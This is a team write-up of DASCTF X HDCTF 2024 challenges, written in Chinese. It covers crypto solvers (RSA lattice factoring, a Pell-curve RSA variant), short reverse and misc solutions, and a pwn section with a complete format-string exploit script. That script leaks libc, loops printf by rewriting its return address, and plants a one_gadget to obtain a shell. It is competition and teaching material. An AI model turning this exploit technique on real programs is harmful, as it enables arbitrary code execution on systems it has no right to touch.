DASCTF X HDCTF 2024

Crypto拿到了两个一血，一个二血，又被HASH哥带飞喽😋

Crypto

CF

import hashlib
from Crypto.Util.number import *
from Crypto.Cipher import AES

n = 12778528771742949806245151753869219326103790041631995252034948773711783128776305944498756929732298934720477166855071150429382343090525399073032692529779161146622028051975895639274962265063528372582516292055195313063685656963925420986244801150981084581230336100629998038062420895185391922920881754851005297105551156140379014123294775868179867798105218243424339964238809811837555910593108364135245826360599234594626605066012137694272914693621191616641820375665250179042481908961611154276842449520816511946371478115661488114557201063593848680402471689545509362224765613961509436533468849519328376263878041094637028661183
e = 4446726708272678112679273197419446608921686581114971359716086776036464363243920846432708647591026040092182012898303795518854800856792372040517828716881858432476850992893751986128026419654358442725548028288396111453301336112088168230318117251893266136328216825852616643551255183048159254152784384133765153361821713529774101097531224729203104181285902533238977664673240372553695106609481661124179618839909468411817548602076934523684639875632950838463168454592213740967654900802801128243623511466324869786575827161573559009469945330622017702786149269513046331878690768979142927851424854919322854779975658914469657308779
c = b'_\xf7\x16\x00S\x11\xd5\xec\x94+>\x98\x91\x8b\xaeC\xadV3\xf8\x07a\x95\xf6rr\x86\xd4\x1e\x1b\xe7\xf4H\xa0\xd9\x9b\xb5\x05.u\x08\x80\x04\x8d\xee\xec\x98\xf5'

A = matrix(ZZ, [[2^int(2048*0.75), e],
               [0, n]])

AL = A.LLL()

d1 = abs(AL[0][0]//(2^int(2048*0.75)))
d2 = abs(AL[1][0]//(2^int(2048*0.75)))

from tqdm import tqdm

def factorize_multi_prime(N, phi):
    """
    Recovers the prime factors from a modulus if Euler's totient is known.
    This method works for a modulus consisting of any number of primes, but is considerably be slower than factorize.
    More information: Hinek M. J., Low M. K., Teske E., "On Some Attacks on Multi-prime RSA" (Section 3)
    :param N: the modulus
    :param phi: Euler's totient, the order of the multiplicative group modulo N
    :return: a tuple containing the prime factors
    """
    prime_factors = set()
    factors = [N]
    round = 0
    while len(factors) > 0:
        round += 1
        if round > 4:
            break
        N = factors[0]

        w = randrange(2, N - 1)
        i = 1
        while phi % (2 ** i) == 0:
            sqrt_1 = pow(w, phi // (2 ** i), N)
            if sqrt_1 > 1 and sqrt_1 != N - 1:
                # We can remove the element to factorize now, because we have a factorization.
                factors = factors[1:]

                p = gcd(N, sqrt_1 + 1)
                q = N // p

                if is_prime(p):
                    prime_factors.add(p)
                elif p > 1:
                    factors.append(p)

                if is_prime(q):
                    prime_factors.add(q)
                elif q > 1:
                    factors.append(q)

                # Continue in the outer loop
                break

            i += 1

    return tuple(prime_factors)

for i in tqdm(range(20, 100)):
    for j in range(100):
        d0 = i*d1+j*d2
        if factorize_multi_prime(n, e*d0-1):
            print(factorize_multi_prime(n, e*d0-1))
            key = str(sum(factorize_multi_prime(n, e*d0-1)))
            key = hashlib.md5(key.encode()).digest()
            aes = AES.new(key, mode=AES.MODE_ECB)
            print(aes.encrypt(c))
# factorize_multi_prime(n, e*1312412441-1)

ez_RSA

import hashlib
s1 = 15320076969633639801563676808292477819766944815026000441764463200943624484131916476214200219537088263481395864329899136796137890142028979796393173411410636
s2 = 13408217906082350581938239712880855348999469245892630221197168085671791369168922236566650640913269947548400565636426464433809020082221324867353879402054146

print("DASCTF{" + hashlib.md5(str(s1+s2).encode()).hexdigest() + "}")

Pell

from Crypto.Util.number import *
from tqdm import tqdm

class Curve2:
    def __init__(self):
        self.N = 9909641861967580472493256614158113105414778684219844785944662774988084232380069009372420371597872375863508561123648164278317871844235719752735021659264009

    def __repr__(self) -> str:
        return f"Curve defined by y^2 = x^3 over Finite Field of size {self.N}"

    def is_on_point(self, point):
        if point is None:
            return True
        x, y = point
        return y**2 % self.N == x**3 % self.N

    def add(self, P, Q):
        if P is None:
            return Q
        if Q is None:
            return P
        xp, yp = P
        xq, yq = Q
        if P != Q:
            k = (yp - yq) * inverse(xp - xq, self.N) % self.N
        else:
            k = 3 * xp**2 * inverse(2 * yp, self.N) % self.N
        xr = (k**2 - xp - xq) % self.N
        yr = (k * (xp - xr) - yp) % self.N
        return (int(xr), int(yr))

    def mul(self, P, x):
        Q = None
        x = x % self.N
        while x > 0:
            if x & 1:
                Q = self.add(Q, P)
            P = self.add(P, P)
            x >>= 1
        return Q

    def random_point(self):
        while 1:
            x = getRandomRange(1, self.N)
            y_2 = x**3 % self.N
            if Legendre(y_2, self.N) == 1:
                y = Tonelli_Shanks(y_2, self.N)
                if Curve.is_on_point(self, (x, y)):
                    return (x, y)

class Curve:
    def __init__(self):
        self.N = 9909641861967580472493256614158113105414778684219844785944662774988084232380069009372420371597872375863508561123648164278317871844235719752735021659264009

    def __repr__(self) -> str:
        return f"Curve defined by y^2 = x^3 over Finite Field of size {self.N}"

    def is_on_point(self, point):
        if point is None:
            return True
        x, y = point
        return y**2 % self.N == x**3 % self.N

    def add(self, P, Q):
        if P is None:
            return Q
        if Q is None:
            return P
        xp, yp = P
        xq, yq = Q
        if P != Q:
            k = (yp - yq) * (xp - xq)^-1
        else:
            k = 3 * xp**2 * inverse_mod(2, self.N)*yp^-1
        xr = (k**2 - xp - xq)
        yr = (k * (xp - xr) - yp)
        return ((xr), (yr))

    def mul(self, P, x):
        Q = None
        x = x % self.N
        while x > 0:
            if x & 1:
                Q = self.add(Q, P)
            P = self.add(P, P)
            x >>= 1
        return Q

    def random_point(self):
        while 1:
            x = getRandomRange(1, self.N)
            y_2 = x**3 % self.N
            if Legendre(y_2, self.N) == 1:
                y = Tonelli_Shanks(y_2, self.N)
                if Curve.is_on_point(self, (x, y)):
                    return (x, y)

N = 9909641861967580472493256614158113105414778684219844785944662774988084232380069009372420371597872375863508561123648164278317871844235719752735021659264009

n = 142509889408494696639682201799643202268988370577642546783876593347546850250051841172274152716714403313311584670791108601588046986700175746446804470329761265314268119548997548026516318449862727871202339967955587242463610862701184493904376304507029176806166448249192854001854607465457042204258734279909961546441004233711967226919624405968584449147177981949821415107225952390645278348482729250785152039807053641247569456385545220501027102363800108028762768824577077321340577271010321469215228402821463907345773901277193445125640936231772522681574300491883451795804527966948605710874090658775247402867915876744113646170885038891240778364069379164812880482584571673151293322613478565661348746336931021896668941228934951050789999827329748371987279847108342825214485163497943
Q = (5725664012637594848838084306454804843458550077896287815106012266176452953193402684379119042639063659980463425502946083139850146060755640351348257807890845,7995259612407104192119579242200802136801092493271952329412936709212369500868134058817979488983954214781719018555338511778896087250394604977285067013758829)



def solve(k):
    PR.<t1, t2> = PolynomialRing(Zmod(N))
    E = Curve()
    Q_ = (t1^2, t1^3)
    P_ = (t2^2, t2^3)
    
    E2 = Curve2()
    F = E.add(E2.mul(Q, k-1), P_)[0]
    f2 = F.denominator()
    f1 = F.numerator()
    
    alpha = ZZ(E.mul(Q_, k)[0](1,0))
    # print(alpha)
    
    FF = t2^4*f1^3-alpha^3*n*f2^3
    PR2.<t2> = PolynomialRing(Zmod(N))
    FF = PR2(FF.univariate_polynomial())
    
    from gmpy2 import iroot
    root = FF.roots()
    for i in root:
        t2 = int(i[0])
        q = t2^2%N
        if GCD(q, n) != 1:
            p = iroot(n//q^2, 3)[0]
            print(p^3*q^2-n, p, q)

for _ in tqdm(range(1, 1000)):
    solve(_)
    
########

rs1 = [
    1346299002360658323235789096208881034711649739758082057980450259562351374899829882233918579729033744499919310600896123463565675397326772746273552691547286613174738672410578796349653429198109651951289057264326474664367232429624221017968662660152571908220754910708450177262626123630756796924084706159166202517041557106600285693260915977795501769895980932093505329080073353177791443004165446732487299527913417205617980866367012411733666900074377396141986614714439 ,
124272882525033817914771190758676341599764669814341729002379914226567760106158305973887284433258839703091207795969888930360884965664492144948708668968305938343410824674190338881600353265997890290211625190674974065978946712730044804525799283879580505239059111806061342618716298596169472073891257934700666741849471901938206542852901017646667187761072617014579152028623619055149649023701288916524524613886654459536014988170325174666300812430333693896743792624389 
]

rs2 = [

    35472575001222016860951247909995845660615556079188866935052577823057957436501963985574105481430634365213620547451281126217272792139767257368079185512742896847641648680239991498450865548687135002573465641424590363070505877018436378989229406462349466788336821779916443540500076275858162532935099383863144006010,
11797934609911892143520783826530566137737950342697453690827138623171465669736627411315740258529335871572633526344664915008744451750369878556877280174399264549051823081402293091019491297764379171461521800029957406826902474441776296832473564387124663749206161438838424699392428649250955403947704275491047471128
]

for i in  rs1:
    for j in rs2:
        a0 = crt([i, j], [p^3, q^2])
        PR.<a> = PolynomialRing(Zmod(n))
        f = x**3 + a * y**3 + a**2 * z**3 - 3 * a * x * y * z-1
        print(f(a0), a0)
        
########

from Crypto.Util.number import *

class Pell_Curve:
    def __init__(self, a, N):
        self.a = a
        self.N = N

    def is_on_curve(self, point):
        if point is None:
            return True
        x, y, z = point
        return (
            x**3 + self.a * y**3 + self.a**2 * z**3 - 3 * self.a * x * y * z
        ) % self.N == 1

    def add(self, P, Q):
        x1, y1, z1 = P
        x2, y2, z2 = Q
        x3 = (x1 * x2 + self.a * (y2 * z1 + y1 * z2)) % self.N
        y3 = (x2 * y1 + x1 * y2 + self.a * z1 * z2) % self.N
        z3 = (y1 * y2 + x2 * z1 + x1 * z2) % self.N
        return (x3, y3, z3)

    def mul(self, P, x):
        Q = (1, 0, 0)
        while x > 0:
            if x & 1:
                Q = self.add(Q, P)
            P = self.add(P, P)
            x >>= 1
        return Q


def gen(E, Q, r, s):
    lcg = LCG(E, Q)
    while 1:
        p = lcg.get_prime()
        q = lcg.get_prime()
        print(p, q)
        if p % 3 == 1 and q % 3 == 1:
            N = p**r * q**s
            e = 0x20002
            return (N, e)


def encrypt(M, N, e):
    xm, ym = M
    M = (xm, ym, 0)
    a = (1 - xm**3) * inverse(ym**3, N) % N
    curve = Pell_Curve(int(a), N)
    if curve.is_on_curve(M):
        return curve.mul(M, e), curve.is_on_curve(curve.mul(M, e))
    return None

n = 142509889408494696639682201799643202268988370577642546783876593347546850250051841172274152716714403313311584670791108601588046986700175746446804470329761265314268119548997548026516318449862727871202339967955587242463610862701184493904376304507029176806166448249192854001854607465457042204258734279909961546441004233711967226919624405968584449147177981949821415107225952390645278348482729250785152039807053641247569456385545220501027102363800108028762768824577077321340577271010321469215228402821463907345773901277193445125640936231772522681574300491883451795804527966948605710874090658775247402867915876744113646170885038891240778364069379164812880482584571673151293322613478565661348746336931021896668941228934951050789999827329748371987279847108342825214485163497943
p = 1474390604543523837841807993172144757868010520676675639723981775915346966276279508966706006872777388413972621272547504675576070034587813138776261227142063 
q = 6668124032626255026930693994308862926098185575619227335468058252917141840643546660249464633212022996153231472011070508488260594358749060893200421091242987
a = [

    55092031242617577262075199056286700051455805823235573406985208033542671687761418734140750530836288809341013657274847060873955111456617155595915988752157555419633178230659984096653506984064861244086025122037806561510102511843292976228358859446124050044424411104003685448386264812787858195114327802339477784263047452166325862583932902216631352968860697722842063502089619086510621296488763995979808992182781159665685404998407129337354046238618207760446912394002386149919128562272773198864448670887050376748268149049695117162259240587352986348927255702853135143872042238727435787611145408653316546594474133731779932778498625938771331230622956567301248214174722519026534785607269550882403178081968874088330261771741839314868859998124135557669149623786553096510928527802051
, 127952375826636712824113306778439860136859361716022033668530056177313834896335332958680605069344977536662573201192457052402984472985546901656939265824963556284895046148382870170666777950737400112279444566648596997265597875012558466936361485853585849734944594772833484479299930086376499248925002832902016793125183566988402989782002609003843996571130436210972924431156016526187764390046745355455057475769407274064942995121158785350619328633366620200842350380333239988516626823590064163274594327440648515141047453770213690269945698367163911855920259974179396943759754087244025288517254471008004852322745902069127392070782365325381709406330898261786870391371994548179887091790957572497077949017016897196409129492107011893665194463525804094842843360592476064401594037889323
, 100167896518772523882787732763949460043886984204133431579863260310751677194958938827404356388891099015558053289908939168216361506395222639171938992938540701905426706434343410401006103884418241474171617009409837298485593028034172739495134779713087702474615131708830935120335475454013525523904360519937687518022917625614090791991203093203737481470815461610149326238606758467113383395983244084457084186738721089188660373563700967613167698890001010183060262181898878671364143626499989714009180714630596284066979565786538012358765347672854678412155799757272892876712812888833911766471630162891651834669744772199049172620262936261410753085185414196368745150940132277608787724522133557509417122924629339491548916574027334900462366762562251709958526039119479057902012308040230
, 30518351694296962805143638686459417860302169519277345057531515106975990153481011879670058210685384429568028163035440558157343881223976638786157799681585437456420454803068748448503056401228052471162696486065040491777477528502253736298761101613520325358968867128467880149394533262145124373456301270590264980444049506724200692269648394022365675925907218148458772060447203516145248141058496193147180630518293562340348507300907403125405878920949314594692931343652655188621064616806959209204097968362730515113984969229863140340810869220893081237574503536715702880795996770401895556503648566471092737530100663792282985741661636756780352896823976726041486845552832633610846708092343013462743147522746340702958843065457556428468701400634171875144939928817059200578192654629559
]

C = (81768339111299816705544898152771220210336305743364535623542396932097508874478708007356482559951843443716017684599109593939309497876283954739065532068358640123897297735011312421303760220341679952682608376253590454613919282861879034834442483766217227383792409215337347571227544874051744198403805434968528386779039795337990338248171933970791615195263892724675263032559658819135855374073644306381889879990890042223246077362618291952646985683966244920555989982399613765530011499719074486903003792714562373937144871278164758310693947837335237349195046040995477558132367388842506474592468217861986173383953237474756202802360230890862369060851962186244111055545256271117424905591906972255761770741149563674457745615873496579818814035900990579591845004609499494547080458704584, 84621087300399647293777247835306246465300232341486881635357679809773437325943820311329988605594440622251629971586435278844599108015288735134349648420317858374374591896130432582322507215780484530408523427525797210077752785624079848616300884164345285833494971279538396297733797260240933961493604434803064166573528094704954546014575856837921125063112845773099272164228859908533081610458091806418565502108153124283531626701488036466436102247845200341492584130445948027051529476352653110990934770121255651400555911301783360692285788890607740888376040139286200434818197323063848144168033132174931153362170954175707409126745301216651916596489805505649061280397491087997636237767764403484186207472581036806824115157283392062188592165421921369151939109986184806890233258458794, 107470405748787057257826187107093535161311781207158281438762592876162686482566135109505652982571025667746244660986635749326688338471024529029121466041296205925603803529179856346298760611767192411134153152234712303426575150170977692186997733960581208607060982624871524319162170866870037830416559938924612968969966225954744925337757413696488884826990851697771972617146921133799053964257776476473920346656878321177511107743545375181606366722878715116467369115483252574781605976088763248469134730611983687505906661228606502293949130180171550100994569942435781067167383369188511834406179774120708650048333802855942156250759495072298696263590518886055347952253836780124031369144821306654247715239306949355039924862372681097653701186683219165141054051943634109692683916632353)
Fp = GF(p)
Fq = GF(q)
r = 3
s = 2

for a0 in a:
    curve = Pell_Curve(int(a0), n)
    e = 0x20002
    try: 
        root = Fp(a0).nth_root(3)
        phi1 = p^(2*(r-1))*(p-1)^2
    except:
        phi1 = p^(2*(r-1))*(p^2+p+1)
    try: 
        root = Fq(a0).nth_root(3)
        phi2 = q^(2*(s-1))*(q-1)^2
    except:
        phi2 = q^(2*(s-1))*(q^2+q+1)
    
    phi = phi1*phi2
    d = inverse_mod(e, phi)
    print(long_to_bytes(curve.mul(C, d)[0]))

Reverse

baby_rop

动态调试发现程序自加载rop的，先匹配flag长度是否为32，之后每8字节匹配一次，加密方式是：

c = (m^key) + key (uint64)

每8字节校验完之后手动设置rdi为1，即可跳过校验进入下一段匹配

得到flag：DASCTF{R0p_is_so_cr34y_1n_re!!!}

Misc

Ez_mc

通过开启局域网连接获得作弊权限，然后/gamemode creative获得短暂的创造模式，拼手速打掉基岩和反作弊的命令方块，则可获得永久创造模式。

在其中一个命令方块中发现

在存档文件夹中还发现一个压缩包，把HDCTFWIN!作为压缩包的key，解密获得一个svp文件。

提取出svp文件后通过观察文件判断需要使用synthesizer v studio，使用的声库为五维介质的赤羽（虽然没有什么用）

还好队里有一个资深op听一遍发现后面没有这么多lalala，猜测是摩斯密码，解密得到第二段flag：

DASCTF{1s_MC_the_best_PUZZLE_GAM3?}

Pwn

签个到吧

一下午卡在没法一次改同一个栈链上，比赛最后四十分钟搜到了个https://zikh26.github.io/posts/a523e26a.html

才发现神奇的$不能在一次printf中对一个地址进行修改+利用，所以需要在一次printf中利用两次相同链的情况需要把前面的$展开，也就是说用%号来推进偏移，而不是$来推偏移

原因不知道为什么，需要去printf的源码中寻找答案，有博客猜测：任意地址写用 $ 指定写入和按参数顺序写入的操作是先后分开的，先按参数顺序写入指针后，再用 $ 去在刚刚的指针基础上进行修改

这种极限的格式化字符串利用使用条件为

栈上有两条A->B->C的栈链
非栈上的格式化字符串
结尾程序退出使用_exit函数（防止劫持fini_array）

本题来说

第一条链，写printf函数的返回地址，这样能起到每次修改返回地址使程序循环利用fmt的作用
第二条链，写One_gadget，分三次写，一次写两字节，栈链为A->B->(目标存放ogg的栈地址分别+0、+2、+4)
这里将ogg存放在printf函数返回地址的栈地址+8，最后修改printf返回地址为ret，成功返回到ogg处执行getshell

如图所示

写入之后

一些Attention：

本题的特殊之处在于，假设现在有栈指针 A=>B=>C=>D ，我可以用格式化字符通过 B 为跳板修改 C 为 E，那么修改后的链为 A=>B=>E=>F，如果有第二次格式化字符串漏洞的话，我可以找到链 B=>E=>F 通过 E 为跳板，修改原本的 F 为 G。但这个操作无法用一次的格式化字符串漏洞完成，可能因为 B=>E=>F 这条链本身是不存在的，即使用格式化字符串漏洞做出了 B=>E=>F 这条链也无法同时再去改这条链上的指针
在重新读入格式化字符串后，补\x00来截断上一次的格式化字符串
使用send发送0x100的数据，别用sendline，每次发送后接受一下sleep一下，解决很多玄学问题）
劫持printf返回地址的时候，只需修改最后一字节为0x3F即可，但是显然前面的输出一定远大于所需字节，用到一个技巧是：用0x10003F减去前面pay的长度，之后用%hhn来截断最后一个字节

每一部分的pay细节详见exp

exp

from Excalibur2 import *

proc('./pwn')
remo("node5.buuoj.cn:27353")
default('h')
lib("./libc.so.6")
# lib("./libc-2.31.so")
el("./pwn")

ru(b'addr: ')
gift = int(ru(b'\n'),16)
target = gift -0x28
lg('gift:',gift)
lg('target:',target)
tar1 = target & 0xffff
tar2 = tar1+0x8
lg('tar1:',tar1)
lg('tar2:',tar2)

# 泄露libc地址，改printf返回地址为0x40133F
# 一个%号表示偏移为1，pay1前两行一共7个%号，所以偏移为7，等价于%7$
pay1 = b"%p"*5
print(len(pay1))
pay1 += b"%"+str((tar1-35)).encode()+b"c%hn"
pay1 += b'%'+str(0x10003F-(tar1)-46).encode()+b'c%49$hhn'
pay1 = pay1.ljust(0x100,b'\x00')
debug("b *0x401361\n")
sda(b'message:',pay1)

ru(b"0x")
ru(b"0x")
ru(b"0x")
libc = int(ru(b"0x"),16)-18-libcsym("read")
lg("libc",libc)

ogg = [0xe3afe,0xe3b01,0xe3b04]
os = libc+ogg[1]

os1 = (os)&0xffff
os2 = (os>>16)&0xffff
os3 = (os>>32)&0xffff
read = got("read")

# 写第二条栈链为pritnf返回地址+0x8，指向ogg的最后两字节
pay2 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay2 += b"%"+str(tar2-0x3F).encode()+b"c%8$hn"
pay2 = pay2.ljust(0x100,b'\x00')
rc()
sleep(0.1)
sd(pay2)

# 往pritnf返回地址+0x8处写ogg最后两字节
pay3 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay3 += b"%"+str(os1-0x3F).encode()+b"c%47$hn"
pay3 = pay3.ljust(0x100,b'\x00')
rc()
sleep(0.1)
sd(pay3)

# 写第二条栈链为pritnf返回地址+0x8+2，指向ogg的中间两字节
pay4 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay4 += b"%"+str(tar2-0x3F+2).encode()+b"c%8$hn"
pay4 = pay4.ljust(0x100,b'\x00')
# pause()
rc()
sleep(0.1)
sd(pay4)

# 往pritnf返回地址+0x8处写ogg中间两字节
pay5 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay5 += b"%"+str(os2-0x3F).encode()+b"c%47$hn"
pay5 = pay5.ljust(0x100,b'\x00')
# pause()
rc()
sleep(0.1)
sd(pay5)

# 写第二条栈链为pritnf返回地址+0x8+4，指向ogg的前面两字节
pay6 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay6 += b"%"+str(tar2-0x3F+4).encode()+b"c%8$hn"
pay6 = pay6.ljust(0x100,b'\x00')
# pause()
rc()
sleep(0.1)
sd(pay6)

# 往pritnf返回地址+0x8处写ogg前面两字节
pay7 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay7 += b"%"+str(os3-0x3F).encode()+b"c%47$hn"
pay7 = pay7.ljust(0x100,b'\x00')
# pause()
rc()
sleep(0.1)
sd(pay7)

# printf的返回地址改成0x40101a，即ret的地址，执行one_gadget成功getshell
pay = b"%"+str(0x101a).encode()+b"c%49$hn" 
pay = pay.ljust(0x100,b'\x00')
rc()
sleep(0.1)
sd(pay)

ia()

"""
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
"""

PREVIOUSRCTF 2024

NEXTR3CTF 2024